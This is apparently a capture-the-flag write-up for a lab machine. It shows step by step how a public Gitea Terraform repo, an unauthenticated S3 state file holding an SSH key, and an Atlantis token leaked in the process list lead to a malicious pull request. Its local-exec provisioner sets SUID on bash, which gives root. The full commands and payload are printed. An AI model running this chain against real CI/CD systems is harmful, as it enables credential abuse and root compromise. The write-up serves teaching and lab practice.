Overview

The machine starts by enumerating a gitea instance that exposes a public terraform repository, recovering an unauthenticated s3 bucket state file via git history to extract an ssh private key to get shell as alexis to find an atlantis service running as root and leaking a gitea token, and abusing a terraform local-exec provisioner via a malicious pull request with atlantis plan and atlantis apply to set the SUID bit on bash to get shell as root

Enumeration

We start with nmap scan as usual

Nmap scan showed 4 open ports

  • port 22 hosting OpenSSH9.1
  • port 80 that redirects to port 443
  • port 443 hosting Gitea instance
  • port 2222 hosting another SSH server (probably for the version control)

Gitea

So let's start with the web enumeration

As you can see the curl to the port 80 returns 301

bash
┌─[]─[10.200.88.81]─[jimmex@attacker]─[~/HSM/gitoops]
└──╼ [★]$ curl http://10.1.141.49
< html>
< head><title>301 Moved Permanently</title></head>
< body>
< center><h1>301 Moved Permanently</h1></center>
< hr><center>nginx/1.24.0 (Ubuntu)</center>
< /body>
< /html>

And if we follow redirection it returns 200 ok and we'll see that in GUI to see where it goes

bash
┌─[]─[10.200.88.81]─[jimmex@attacker]─[~/HSM/gitoops]
└──╼ [★]$ curl -k http://10.1.141.49 -L -I
HTTP/1.1 301 Moved Permanently
Server: nginx/1.24.0 (Ubuntu)
Date: Sun, 30 Aug 2026 17:02:57 GMT
Content-Type: text/html
Content-Length: 178
Connection: keep-alive
Location: https://10.1.141.49/

HTTP/1.1 200 OK
Server: nginx/1.24.0 (Ubuntu)
Date: Sun, 30 Aug 2026 17:02:58 GMT
Connection: keep-alive

By going to http://IP it redirects to HTTPS instead of HTTP and as you can see it is a Gitea instance

First thing we do is enumeration, for public repos and users

For repos there is a repo called public written in HCL (HashiCorp Configuration Language) which is a declarative configuration language just like TOML and JSON but it is designed primarily for IaC (Infra as a Code)

Listing that repo's watcher is a good way to enumerate some users and we got 3 users alexis, Gitea, and atlantis (this one looks like a service name not actual user)

Public Repository

First thing we do is cloning the public repo to start looking what's in it, make sure to ignore the SSL cause there isn't a certificate

bash
┌─[]─[10.200.88.81]─[jimmex@attacker]─[~/HSM/gitoops]
└──╼ [★]$ git -c http.sslVerify=false clone https://10.1.141.49/gitCorp/public.git
Cloning into 'public' ...
remote: Enumerating objects: 23, done.
remote: Counting objects: 100% (23/23), done.
remote: Compressing objects: 100% (22/22), done.
remote: Total 23 (delta 7), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (23/23), 6.38 KiB | 2.13 MiB/s, done.
Resolving deltas: 100% (7/7), done.

As you can see it has some files with the extension .tf which is the language we mentioned above used by Terraform

Terraform is an open-source infrastructure as code (IaC) tool that lets you build, change, and manage cloud and on-premises resources safely and efficiently using human-readable configuration files

bash
┌─[]─[10.200.88.81]─[jimmex@attacker]─[~/HSM/gitoops/public]
└──╼ [★]$ ls 
data.tf  ec2.tf  main.tf  settings.tf  variables.tf

Listing the logs quickly before examining the main to know how big the repo is and what was added and when just to get to know the repo quickly

Starting with the main.tf file we'll see that there is SSH keys mentioned in the repo and AWS s3 bucket so our goal for now is to get our hands on anyone of those keys

Most of the cloud operators start with a local backend first before migrating to the S3 bucket, and usually use files like <name>.tfstate mostly named Terraform or something

This file just mimics the S3 storage for the setup phase and we saw earlier that the first commit had a file like this.

Sometimes they forget and put actual keys for testing and forget to remove it or something or a password and we might get lucky.

bash
┌─[]─[10.200.88.81]─[jimmex@attacker]─[~/HSM/gitoops/public]
└──╼ [★]$ git checkout 3cc2a5
Note: switching to '3cc2a5'.

You are in 'detached HEAD' state. You can look around, make experimental
changes and commit them, and you can discard any commits you make in this
state without impacting any branches by switching back to a branch.

If you want to create a new branch to retain commits you create, you may
do so (now or later) by using -c with the switch command. Example:

  git switch -c < new-branch-name>

Or undo this operation with:

  git switch -

Turn off this advice by setting config variable advice.detachedHead to false

HEAD is now at 3cc2a58 Add terraform.tfstate

This is the file as you can see

bash
┌─[]─[10.200.88.81]─[jimmex@attacker]─[~/HSM/gitoops/public]
└──╼ [★]$ ls 
terraform.tfstate

Unauthenticated S3 bucket

Looking inside the file found no secret keys or private keys or passwords it was just a placeholder. but we don't need it anyway cause we know that there is an S3 bucket which holds the actual data so if this bucket allows unauthenticated access it'll be huge for us to read those keys

Looking in the settings.tf to get the bucket name and the key and as you can see they are under the bucket and key values

So we'll start by copying the file gitcorp/Terraform.tfstate from that bucket and here is the full file (output too long careful if you'll expand it)

What we care most about is that private key which was under the hierarchy tls._private_key.access_key.private_key just like we saw earlier in the main file about the SSH public key but this time for the SSH key

SSH as alexis

So first we copy that key and save it locally

Then set the permissions over it so it isn't too permissive

bash
┌─[]─[10.200.88.81]─[jimmex@attacker]─[~/HSM/gitoops]
└──╼ [★]$ chmod 600 id_rsa_gitoops

And as you can see we can ssh using that key

And we get the user flag

Listing the readable files, mostly are home directory files but there is this directory atlantis the name I expected to be a service earlier under /opt so let's do some research

bash
alexis@ip-10-1-141-49:/home$ find / -type f -readable 2>/dev/null | grep "^/home\|^/opt"
/home/alexis/.bashrc
/home/alexis/.ssh/id_rsa
/home/alexis/.ssh/id_rsa.pub
/home/alexis/.ssh/authorized_keys
/home/alexis/.cache/motd.legal-displayed
/home/alexis/.bash_logout
/home/alexis/flag.txt
/home/alexis/.profile
/opt/atlantis/repo.yaml
/opt/atlantis/plugin-cache/registry.terraform.io/hashicorp/random/3.6.2/linux_amd64/terraform-provider-random_v3.6.2_x5
/opt/atlantis/plugin-cache/registry.terraform.io/hashicorp/random/3.6.2/linux_amd64/LICENSE.txt
/opt/atlantis/plugin-cache/registry.terraform.io/hashicorp/external/2.3.3/linux_amd64/terraform-provider-external_v2.3.3_x5
/opt/atlantis/plugin-cache/registry.terraform.io/hashicorp/local/2.5.1/linux_amd64/terraform-provider-local_v2.5.1_x5
/opt/atlantis/plugin-cache/registry.terraform.io/hashicorp/aws/4.50.0/linux_amd64/terraform-provider-aws_v4.50.0_x5
/opt/atlantis/plugin-cache/registry.terraform.io/hashicorp/null/3.2.2/linux_amd64/terraform-provider-null_v3.2.2_x5
/opt/atlantis/plugin-cache/registry.terraform.io/hashicorp/http/3.4.3/linux_amd64/LICENSE.txt
/opt/atlantis/plugin-cache/registry.terraform.io/hashicorp/http/3.4.3/linux_amd64/terraform-provider-http_v3.4.3_x5
alexis@ip-10-1-141-49:/home$

Atlantis is a bot that watches a Git repo for pull requests and comments. When you comment atlantis plan on a PR, Gitea fires a webhook to Atlantis's HTTP listener. Atlantis then: Clones/pulls the PR's branch locally on the server Runs Terraform init + Terraform plan in that directory Posts the plan output back as a PR comment On atlantis apply, it runs Terraform apply, actually executing the plan, including any provisioner "local-exec" blocks

Listing the running processes to know if it is running or not and as you can see it is running as root and it leaks a Gitea token that we can use for the user atlantis on Gitea I guess The webhook secret don't know exactly what can we do with it but let's continue with the Gitea token

As you can see it is watching the repo gitCorp/private repo

bash
alexis@ip-10-1-141-49:/home$ ps aux | grep -i atlantis
root 1037 0.0 1.7 1260888 34024 ? Ssl 16:05 0:01 /usr/local/bin/atlantis server --atlantis-url=http://atlantis.gitoops.local --gitea-base-url=http --gitea-base-url=https://gitoops.local --gitea-user=atlantis --gitea-token=6eceab1137146d06a70fdbd02abf3863186a088e --gitea-webhook-secret=82df5474-2933-11ef-9454-0242ac120002 --gitea-page-size=30 --repo-allowlist=gitoops.local/gitCorp/private --repo-config=/opt/atlantis/repo.yaml
alexis 2351 0.0 0.1 6908 2440 pts/0 S+ 17:52 0:00 grep --color=auto -i atlantis

We first enumerate the users on Gitea to make sure atlantis existing and it does

bash
alexis@ip-10-1-141-49:/home$ curl -H "Authorization: token 6eceab1137146d06a70fdbd02abf3863186a088e" https://gitoops.local/api/v1/user
{"id":3,"login":"atlantis","login_name":"atlantis","source_id":0,"full_name":"atlantis","email":"atlantis@gitoops.local","avatar_url":"https://gitoops.local/avatars/6110360c92ad434f7c9a83d192fc10e2","html_url":"https://gitoops.local/atlantis","language":"","is_admin":false,"last_login":"1970-01-01T00:00:00Z","created":"2025-10-29T20:17:46Z","restricted":false,"active":true,"prohibit_login":false,"location":"","website":"","description":"","visibility":"private","followers_count":0,"following_count":0,"starred_repos_count":0,"username":"atlantis"}

Then we start looking for permissions over that repo, we don't have push over it but we can pull so we can read the repo but we can't write to it so the direct edit is out but I bet the bot is watching the PRs as well as part of the CI/CD integrations not just the direct edits to the repo itself

And the PRs with plan and apply comment on it should be enough to trigger the workflow

What do I mean with plan and apply comments, atlantis uses the PR comments as command triggers to automate Terraform plan and applies directly Usually it runs automatically but it is a way to speed things up by commenting atlantis plan or atlantis comment which is just a trigger for Terraform plan and Terraform apply

Shell as root

Let's first fork the repo to make the changes

bash
alexis@ip-10-1-141-49:/home$ curl -X POST "https://gitoops.local/api/v1/repos/gitCorp/private/forks" \
  -H "Authorization: token 6eceab1137146d06a70fdbd02abf3863186a088e" \
  -H "Content-Type: application/json" \
  -d '{}'
{"id":3,"owner":{"id":3,"login":"atlantis","login_name":"","source_id":0,"full_name":"atlantis","email":"atlantis@noreply.gitoops.local","avatar_url":"https://gitoops.local/avatars/6110360c92ad434f7c9a83d192fc10e2","html_url":"https://gitoops.local/atlantis","language":"","is_admin":false,"last_login":"0001-01-01T00:00:00Z","created":"2025-10-29T20:17:46Z","restricted":false,"active":false,"prohibit_login":false,"location":"","website":"","description":"","visibility":"private","followers_count":0,"following_count":0,"starred_repos_count":0,"username":"atlantis"},"name":"private","full_name":"atlantis/private","description":"Private repository","empty":false,"private":true,"fork":true,"template":false,"parent":{"id":2,"owner":{"id":2,"login":"gitCorp","login_name":"","source_id":0,"full_name":"","email":"","avatar_url":"https://gitoops.local/avatars/0eac2817a652978ad37197be708e0a2f","html_url":"https://gitoops.local/gitCorp","language":"","is_admin":false,"last_login":"0001-01-01T00:00:00Z","created":"2025-10-29T20:17:37Z","restricted":false,"active":false,"prohibit_login":false,"location":"","website":"","description":"string","visibility":"public","followers_count":0,"following_count":0,"starred_repos_count":0,"username":"gitCorp"},"name":"private","full_name":"gitCorp/private","description":"Private repository","empty":false,"private":true,"fork":false,"template":false,"mirror":false,"size":27,"language":"","languages_url":"https://gitoops.local/api/v1/repos/gitCorp/private/languages","html_url":"https://gitoops.local/gitCorp/private","url":"https://gitoops.local/api/v1/repos/gitCorp/private","link":"","ssh_url":"ssh://gitea@gitoops.local:2222/gitCorp/private.git","clone_url":"https://gitoops.local/gitCorp/private.git","original_url":"","website":"","stars_count":0,"forks_count":1,"watchers_count":3,"open_issues_count":0,"open_pr_counter":0,"release_counter":0,"default_branch":"main","archived":false,"created_at":"2025-10-29T20:17:45Z","updated_at":"2025-10-29T20:18:05Z","archived_at":"1970-01-01T00:00:00Z","permissions":{"admin":true,"push":true,"pull":true},"has_code":false,"has_issues":true,"internal_tracker":{"enable_time_tracker":true,"allow_only_contributors_to_track_time":true,"enable_issue_dependencies":true},"has_wiki":true,"has_pull_requests":true,"has_projects":true,"projects_mode":"all","has_releases":true,"has_packages":false,"has_actions":false,"ignore_whitespace_conflicts":false,"allow_merge_commits":true,"allow_rebase":true,"allow_rebase_explicit":true,"allow_squash_merge":true,"allow_fast_forward_only_merge":true,"allow_rebase_update":true,"allow_manual_merge":false,"autodetect_manual_merge":false,"default_delete_branch_after_merge":false,"default_merge_style":"merge","default_allow_maintainer_edit":false,"avatar_url":"","internal":false,"mirror_interval":"","object_format_name":"sha1","mirror_updated":"0001-01-01T00:00:00Z","topics":[],"licenses":[]},"mirror":false,"size":0,"language":"","languages_url":"https://gitoops.local/api/v1/repos/atlantis/private/languages","html_url":"https://gitoops.local/atlantis/private","url":"https://gitoops.local/api/v1/repos/atlantis/private","link":"","ssh_url":"ssh://gitea@gitoops.local:2222/atlantis/private.git","clone_url":"https://gitoops.local/atlantis/private.git","original_url":"","website":"","stars_count":0,"forks_count":0,"watchers_count":0,"open_issues_count":0,"open_pr_counter":0,"release_counter":0,"default_branch":"main","archived":false,"created_at":"2026-08-30T18:02:45Z","updated_at":"2026-08-30T18:02:45Z","archived_at":"1970-01-01T00:00:00Z","permissions":{"admin":true,"push":true,"pull":true},"has_code":false,"has_issues":false,"has_wiki":false,"has_pull_requests":true,"has_projects":false,"projects_mode":"all","has_releases":false,"has_packages":false,"has_actions":false,"ignore_whitespace_conflicts":false,"allow_merge_commits":true,"allow_rebase":true,"allow_rebase_explicit":true,"allow_squash_merge":true,"allow_fast_forward_only_merge":true,"allow_rebase_update":true,"allow_manual_merge":false,"autodetect_manual_merge":false,"default_delete_branch_after_merge":false,"default_merge_style":"merge","default_allow_maintainer_edit":false,"avatar_url":"","internal":false,"mirror_interval":"","object_format_name":"sha1","mirror_updated":"0001-01-01T00:00:00Z","topics":[],"licenses":[]}

Then use the token to clone the fork (notice we are cloning atlantis/private but the original is under gitCorp)

yaml
alexis@ip-10-1-141-49:~$ git clone https://atlantis:6eceab1137146d06a70fdbd02abf3863186a088e@gitoops.local/atlantis/private.git
Cloning into 'private'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Compressing objects: 100% (2/2), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (3/3), done.
alexis@ip-10-1-141-49:~$ cd private/
alexis@ip-10-1-141-49:~/private$ ls
README.md
alexis@ip-10-1-141-49:~/private$ 

One last thing to mention about Terraform that Terraform itself doesn't sandbox the local-exec it just runs the given shell command with whatever OS privileges the process running Terraform has

Since Atlantis's process is owned by root, Terraform apply (and therefore your local-exec command) also runs as root. There's no privilege boundary between "the Gitea bot account" and "the actual shell commands Terraform executes"

So what we'll do

  • we'll create a malicious .tf file containing a local-exec provisioner which is Terraform's way of running an arbitrary shell command as a side effect of creating a resource
  • push the changes and open a PR
  • comment the PR with atlantis plan first which triggers atlantis webhook to run Terraform plan which is just a dry run for the creation
  • then comment the PR with atlantis apply which triggers atlantis webhook to run Terraform apply executing whatever command we need to execute

So we'll first create this malicious Terraform file that sets SUID on the bash binary

bash
alexis@ip-10-1-141-49:~/private$ cat pwned.tf 
resource "null_resource" "pwn" {
  provisioner "local-exec" {
    command = "chmod u+s /bin/bash"
  }
}

Then we add, config, commit and push to the fork

yaml
alexis@ip-10-1-141-49:~/private$ git add pwned.tf 
alexis@ip-10-1-141-49:~/private$ git config user.email "atlantis@gitoops.local" 
alexis@ip-10-1-141-49:~/private$ git config user.name "atlantis" 
alexis@ip-10-1-141-49:~/private$ git commit -m "added a resource pwned"
[main 3347c9e] added a resource pwned
 1 file changed, 5 insertions(+)
 create mode 100644 pwned.tf
alexis@ip-10-1-141-49:~/private$ git push origin main
Enumerating objects: 4, done.
Counting objects: 100% (4/4), done.
Delta compression using up to 2 threads
Compressing objects: 100% (3/3), done.
Writing objects: 100% (3/3), 367 bytes | 367.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
remote: 
remote: Create a new pull request for 'main':
remote:   https://gitoops.local/atlantis/private/pulls/new/main
remote: 
remote: . Processing 1 references
remote: Processed 1 references in total
To https://gitoops.local/atlantis/private.git
   83dcb89..3347c9e  main -> main
alexis@ip-10-1-141-49:~/private$ 

And You might ask how are We pushing without the token ? That's because We cloned the Repo using this git clone https://atlantis:6eceab1137146d06a70fdbd02abf3863186a088e@gitoops.local/atlantis/private.git which creates a file .git/config looks like this

plaintext
[remote "origin"]
    url = https://atlantis:6eceab1137146d06a70fdbd02abf3863186a088e@gitoops.local/atlantis/private.git

So every time We perform action later using git, It uses that URL with the token in it

Then we create a PR to the main repo private

bash
alexis@ip-10-1-141-49:~/private$ curl -X POST "https://gitoops.local/api/v1/repos/gitCorp/private/pulls" \
  -H "Authorization: token 6eceab1137146d06a70fdbd02abf3863186a088e" \
  -H "Content-Type: application/json" \
  -d '{
    "title": "add resource",
    "head": "atlantis:main",
    "base": "main"
  }'
{"id":1,"url":"https://gitoops.local/gitCorp/private/pulls/1","number":1,"user":{"id":3,"login":"atlantis","login_name":"atlantis","source_id":0,"full_name":"atlantis","email":"atlantis@gitoops.local","avatar_url":"https://gitoops.local/avatars/6110360c92ad434f7c9a83d192fc10e2","html_url":"https://gitoops.local/atlantis","language":"","is_admin":false,"last_login":"1970-01-01T00:00:00Z","created":"2025-10-29T20:17:46Z","restricted":false,"active":true,"prohibit_login":false,"location":"","website":"","description":"","visibility":"private","followers_count":0,"following_count":0,"starred_repos_count":0,"username":"atlantis"},"title":"add resource","body":"","labels":[],"milestone":null,"assignee":null,"assignees":[],"requested_reviewers":[],"requested_reviewers_teams":[],"state":"open","draft":false,"is_locked":false,"comments":0,"additions":5,"deletions":0,"changed_files":1,"html_url":"https://gitoops.local/gitCorp/private/pulls/1","diff_url":"https://gitoops.local/gitCorp/private/pulls/1.diff","patch_url":"https://gitoops.local/gitCorp/private/pulls/1.patch","mergeable":true,"merged":false,"merged_at":null,"merge_commit_sha":null,"merged_by":null,"allow_maintainer_edit":false,"base":{"label":"main","ref":"main","sha":"83dcb89cf451486b1ddecea9fb82a35ae6081a49","repo_id":2,"repo":{"id":2,"owner":{"id":2,"login":"gitCorp","login_name":"","source_id":0,"full_name":"","email":"gitcorp@noreply.gitoops.local","avatar_url":"https://gitoops.local/avatars/0eac2817a652978ad37197be708e0a2f","html_url":"https://gitoops.local/gitCorp","language":"","is_admin":false,"last_login":"0001-01-01T00:00:00Z","created":"2025-10-29T20:17:37Z","restricted":false,"active":false,"prohibit_login":false,"location":"","website":"","description":"string","visibility":"public","followers_count":0,"following_count":0,"starred_repos_count":0,"username":"gitCorp"},"name":"private","full_name":"gitCorp/private","description":"Private repository","empty":false,"private":true,"fork":false,"template":false,"mirror":false,"size":27,"language":"","languages_url":"https://gitoops.local/api/v1/repos/gitCorp/private/languages","html_url":"https://gitoops.local/gitCorp/private","url":"https://gitoops.local/api/v1/repos/gitCorp/private","link":"","ssh_url":"ssh://gitea@gitoops.local:2222/gitCorp/private.git","clone_url":"https://gitoops.local/gitCorp/private.git","original_url":"","website":"","stars_count":0,"forks_count":1,"watchers_count":3,"open_issues_count":0,"open_pr_counter":0,"release_counter":0,"default_branch":"main","archived":false,"created_at":"2025-10-29T20:17:45Z","updated_at":"2025-10-29T20:18:05Z","archived_at":"1970-01-01T00:00:00Z","permissions":{"admin":false,"push":false,"pull":true},"has_code":false,"has_issues":true,"internal_tracker":{"enable_time_tracker":true,"allow_only_contributors_to_track_time":true,"enable_issue_dependencies":true},"has_wiki":true,"has_pull_requests":true,"has_projects":true,"projects_mode":"all","has_releases":true,"has_packages":false,"has_actions":false,"ignore_whitespace_conflicts":false,"allow_merge_commits":true,"allow_rebase":true,"allow_rebase_explicit":true,"allow_squash_merge":true,"allow_fast_forward_only_merge":true,"allow_rebase_update":true,"allow_manual_merge":false,"autodetect_manual_merge":false,"default_delete_branch_after_merge":false,"default_merge_style":"merge","default_allow_maintainer_edit":false,"avatar_url":"","internal":false,"mirror_interval":"","object_format_name":"sha1","mirror_updated":"0001-01-01T00:00:00Z","topics":[],"licenses":[]}},"head":{"label":"main","ref":"main","sha":"3347c9ef48b03b07c3314d446d881ddb8ca602e2","repo_id":3,"repo":{"id":3,"owner":{"id":3,"login":"atlantis","login_name":"","source_id":0,"full_name":"atlantis","email":"atlantis@noreply.gitoops.local","avatar_url":"https://gitoops.local/avatars/6110360c92ad434f7c9a83d192fc10e2","html_url":"https://gitoops.local/atlantis","language":"","is_admin":false,"last_login":"0001-01-01T00:00:00Z","created":"2025-10-29T20:17:46Z","restricted":false,"active":false,"prohibit_login":false,"location":"","website":"","description":"","visibility":"private","followers_count":0,"following_count":0,"starred_repos_count":0,"username":"atlantis"},"name":"private","full_name":"atlantis/private","description":"Private repository","empty":false,"private":true,"fork":true,"template":false,"parent":{"id":2,"owner":{"id":2,"login":"gitCorp","login_name":"","source_id":0,"full_name":"","email":"","avatar_url":"https://gitoops.local/avatars/0eac2817a652978ad37197be708e0a2f","html_url":"https://gitoops.local/gitCorp","language":"","is_admin":false,"last_login":"0001-01-01T00:00:00Z","created":"2025-10-29T20:17:37Z","restricted":false,"active":false,"prohibit_login":false,"location":"","website":"","description":"string","visibility":"public","followers_count":0,"following_count":0,"starred_repos_count":0,"username":"gitCorp"},"name":"private","full_name":"gitCorp/private","description":"Private repository","empty":false,"private":true,"fork":false,"template":false,"mirror":false,"size":27,"language":"","languages_url":"https://gitoops.local/api/v1/repos/gitCorp/private/languages","html_url":"https://gitoops.local/gitCorp/private","url":"https://gitoops.local/api/v1/repos/gitCorp/private","link":"","ssh_url":"ssh://gitea@gitoops.local:2222/gitCorp/private.git","clone_url":"https://gitoops.local/gitCorp/private.git","original_url":"","website":"","stars_count":0,"forks_count":1,"watchers_count":3,"open_issues_count":0,"open_pr_counter":1,"release_counter":0,"default_branch":"main","archived":false,"created_at":"2025-10-29T20:17:45Z","updated_at":"2025-10-29T20:18:05Z","archived_at":"1970-01-01T00:00:00Z","permissions":{"admin":true,"push":true,"pull":true},"has_code":false,"has_issues":true,"internal_tracker":{"enable_time_tracker":true,"allow_only_contributors_to_track_time":true,"enable_issue_dependencies":true},"has_wiki":true,"has_pull_requests":true,"has_projects":true,"projects_mode":"all","has_releases":true,"has_packages":false,"has_actions":false,"ignore_whitespace_conflicts":false,"allow_merge_commits":true,"allow_rebase":true,"allow_rebase_explicit":true,"allow_squash_merge":true,"allow_fast_forward_only_merge":true,"allow_rebase_update":true,"allow_manual_merge":false,"autodetect_manual_merge":false,"default_delete_branch_after_merge":false,"default_merge_style":"merge","default_allow_maintainer_edit":false,"avatar_url":"","internal":false,"mirror_interval":"","object_format_name":"sha1","mirror_updated":"0001-01-01T00:00:00Z","topics":[],"licenses":[]},"mirror":false,"size":28,"language":"","languages_url":"https://gitoops.local/api/v1/repos/atlantis/private/languages","html_url":"https://gitoops.local/atlantis/private","url":"https://gitoops.local/api/v1/repos/atlantis/private","link":"","ssh_url":"ssh://gitea@gitoops.local:2222/atlantis/private.git","clone_url":"https://gitoops.local/atlantis/private.git","original_url":"","website":"","stars_count":0,"forks_count":0,"watchers_count":1,"open_issues_count":0,"open_pr_counter":0,"release_counter":0,"default_branch":"main","archived":false,"created_at":"2026-08-30T18:02:45Z","updated_at":"2026-08-30T18:07:46Z","archived_at":"1970-01-01T00:00:00Z","permissions":{"admin":true,"push":true,"pull":true},"has_code":false,"has_issues":false,"has_wiki":false,"has_pull_requests":true,"has_projects":false,"projects_mode":"all","has_releases":false,"has_packages":false,"has_actions":false,"ignore_whitespace_conflicts":false,"allow_merge_commits":true,"allow_rebase":true,"allow_rebase_explicit":true,"allow_squash_merge":true,"allow_fast_forward_only_merge":true,"allow_rebase_update":true,"allow_manual_merge":false,"autodetect_manual_merge":false,"default_delete_branch_after_merge":false,"default_merge_style":"merge","default_allow_maintainer_edit":false,"avatar_url":"","internal":false,"mirror_interval":"","object_format_name":"sha1","mirror_updated":"0001-01-01T00:00:00Z","topics":[],"licenses":[]}},"merge_base":"83dcb89cf451486b1ddecea9fb82a35ae6081a49","due_date":null,"created_at":"2026-08-30T18:08:33Z","updated_at":"2026-08-30T18:08:33Z","closed_at":null,"pin_order":0}

Then we comment with atlantis plan to dry run using Terraform plan

bash
alexis@ip-10-1-141-49:~/private$ curl -X POST "https://gitoops.local/api/v1/repos/gitCorp/private/issues/1/comments" \
  -H "Authorization: token 6eceab1137146d06a70fdbd02abf3863186a088e" \
  -H "Content-Type: application/json" \
  -d '{"body": "atlantis plan"}'
{"id":3,"html_url":"https://gitoops.local/gitCorp/private/pulls/1#issuecomment-3","pull_request_url":"https://gitoops.local/gitCorp/private/pulls/1","issue_url":"","user":{"id":3,"login":"atlantis","login_name":"","source_id":0,"full_name":"atlantis","email":"atlantis@noreply.gitoops.local","avatar_url":"https://gitoops.local/avatars/6110360c92ad434f7c9a83d192fc10e2","html_url":"https://gitoops.local/atlantis","language":"","is_admin":false,"last_login":"0001-01-01T00:00:00Z","created":"2025-10-29T20:17:46Z","restricted":false,"active":false,"prohibit_login":false,"location":"","website":"","description":"","visibility":"private","followers_count":0,"following_count":0,"starred_repos_count":0,"username":"atlantis"},"original_author":"","original_author_id":0,"body":"atlantis plan","assets":[],"created_at":"2026-08-30T18:09:26Z","updated_at":"2026-08-30T18:09:26Z"}

Now if you check the comments on the post you'll see that atlantis added another comment with what it is gonna do which is this Ran Plan for dir: blablabla

Now that we're sure it is working all is left is to actually trigger it using apply

bash
alexis@ip-10-1-141-49:~/private$ curl -X POST "https://gitoops.local/api/v1/repos/gitCorp/private/issues/1/comments" \
  -H "Authorization: token 6eceab1137146d06a70fdbd02abf3863186a088e" \
  -H "Content-Type: application/json" \
  -d '{"body": "atlantis apply"}'
{"id":5,"html_url":"https://gitoops.local/gitCorp/private/pulls/1#issuecomment-5","pull_request_url":"https://gitoops.local/gitCorp/private/pulls/1","issue_url":"","user":{"id":3,"login":"atlantis","login_name":"","source_id":0,"full_name":"atlantis","email":"atlantis@noreply.gitoops.local","avatar_url":"https://gitoops.local/avatars/6110360c92ad434f7c9a83d192fc10e2","html_url":"https://gitoops.local/atlantis","language":"","is_admin":false,"last_login":"0001-01-01T00:00:00Z","created":"2025-10-29T20:17:46Z","restricted":false,"active":false,"prohibit_login":false,"location":"","website":"","description":"","visibility":"private","followers_count":0,"following_count":0,"starred_repos_count":0,"username":"atlantis"},"original_author":"","original_author_id":0,"body":"atlantis apply","assets":[],"created_at":"2026-08-30T18:11:44Z","updated_at":"2026-08-30T18:11:44Z"}
alexis@ip-10-1-141-49:~/private$

If we check the bash binary right after we'll see that it has the SUID bit set on it and it is owned by root so we can get root now

bash
alexis@ip-10-1-141-49:~/private$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1446024 Mar 31 2024 /bin/bash
alexis@ip-10-1-141-49:~/private$

So we use /bin/bash -p and -p stops bash from voluntarily dropping that privilege on startup so we drop in a root shell as you can see

Path

That's the Steps we did Pasted image 20260831141625.png

Resources